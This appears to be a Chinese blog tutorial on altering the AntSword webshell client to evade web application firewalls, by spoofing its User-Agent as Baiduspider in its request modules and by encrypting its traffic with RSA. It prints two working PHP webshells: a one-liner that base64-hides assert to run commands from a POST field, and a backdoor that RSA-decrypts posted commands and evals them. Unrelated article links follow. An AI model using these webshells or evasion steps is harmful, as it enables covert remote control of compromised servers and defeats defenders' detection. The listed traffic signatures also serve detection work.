蚁剑修改特征性信息

前言

我们首先得知道蚁剑的流量特征:

  1. 编码器和解码器的特征:蚁剑自带的编码器和解码器具有明显的特点,可以通过更改配置文件来达到流量加密的目的1。例如,蚁剑支持多种编码方式,如base64、chr、rot13等,这些编码方式虽然可以对数据进行加密,但在数据包中仍然存在一定的特征。

  2. UA头特征 :蚁剑的User-Agent头部具有特定的版本标识,例如antSword/v2.1,这是一个很明显的特征,可以通过更改UA头来进行伪装。

  3. Webshell静态特征 :蚁剑在不同的服务器端语言中使用特定的函数执行代码,如PHP中的assert和eval,ASP中的eval,以及JSP中的Java类加载(ClassLoader)等。

  4. 动态流量特征 :蚁剑的动态特征包括请求体和响应体的特定格式。例如,请求体通常以@ini_set("display_errors","0");@set_time_limit(0);开头,而响应体则可能是经过base64编码和混淆字符处理的格式。

  5. 参数名特征 :蚁剑的流量中,参数名往往以_0x.....=的形式出现,这种特定的参数名格式可以作为识别蚁剑流量的一个特征。

  6. 流量加密和代理中转:蚁剑可以通过代理工具和自定义加密方法来进一步隐藏其流量特征,使得流量分析和检测变得更加困难。

  7. RSA编码器:从AntSword v2.1.0版本开始,蚁剑新增了PHP RSA编码器,这可以用于生成加密的PHP shell代码,进一步增强了流量的隐蔽性。

这篇文章将通过简单修改蚁剑的UA来绕过WAF。

修改位置

  • 蚁剑代理通道修改

  • UA特征伪造

  • RSA流量加密

具体操作

1.蚁剑代理通道修改

蚁剑代理通道设置(前提是必须有这个代理):

2.UA特征伪造

蚁剑默认UA:

主要修改的位置:

复制代码
/modules/request.js

这边主要是推荐百度UA,具体自己可以百度下其他UA,都可以根据需要来进行设置:

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

原来的UA:

UA修改后(百度UA爬虫):

复制代码
/modules/update.js

同样的方法,将UA头修改为百度爬虫:

修改前:

修改后UA头:

通过以上修改后,抓包查看:

3.RSA流量加密

蚁剑从2.1开始支持了RSA加密算法,但是仅仅支持php。

在我们隐藏流量中无非就是采用对称密钥加密和非对称密钥加密。

复制代码
<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>
复制代码

注意这里YXNzZxJ0 base64解密为assert,eval不可以。因为eval属于语言构造器,在php中不能来回调,类似call_user_function()。

其中数据请求包中存在eval关键字,还是容易被waf检测到,所以UA头一定要记得修改。

采用RSA加密

新建一个rsa编码器

复制代码
<?php$cmd = @$_POST['ant'];$pk = <<<EOF-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3NeAKyYF0SRzIqPz8CvwIDAQAB-----END PUBLIC KEY-----EOF;$cmds = explode("|", $cmd);$pk = openssl_pkey_get_public($pk);$cmd = '';foreach ($cmds as $value) {  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {    $cmd .= $de;  }}eval($cmd);
复制代码
相关推荐
星恒随风13 小时前
MySQL 从零入门(五):MySQL 内置函数详解——日期、字符串、数学函数与实战案例
linux·数据库·笔记·sql·mysql
2603_9696948516 小时前
【JavaWeb学习记录】MyBatis核心知识点与实战笔记:从入门到动态SQL
笔记·sql·学习·mysql·mybatis·javaweb·学习方法
可乐ea17 小时前
智能体记忆该拆成几层:笔记、记忆表示与注入上下文
服务器·数据库·笔记·ai智能体·提示词工程·上下文工程·记忆系统
Go Work20 小时前
两个等值条件摆着,MySQL 偏要全表扫
经验分享·笔记
Oll Correct20 小时前
Adobe illustrator 案例十四:花元素标志草图绘制
笔记·ui·adobe·illustrator
每月一号准时摆烂1 天前
服务器运维笔记(一)——使用shell编写实时查看BMC功率的脚本
运维·服务器·笔记
Thanks_ks1 天前
HTTPS:浏览器地址栏那把锁的工作原理
http·网络安全·https·tls·加密算法·数字证书·中间人攻击
柳鲲鹏2 天前
内斗学概论:43、平级内斗
笔记
星恒随风2 天前
MySQL 从零入门(四):表的增删改查与基础查询详解
linux·服务器·数据库·笔记·mysql
Z21-X2 天前
云原生运维学习笔记:ECShop全链路容器化部署与Docker底层资源隔离深度剖析
运维·笔记·学习·云原生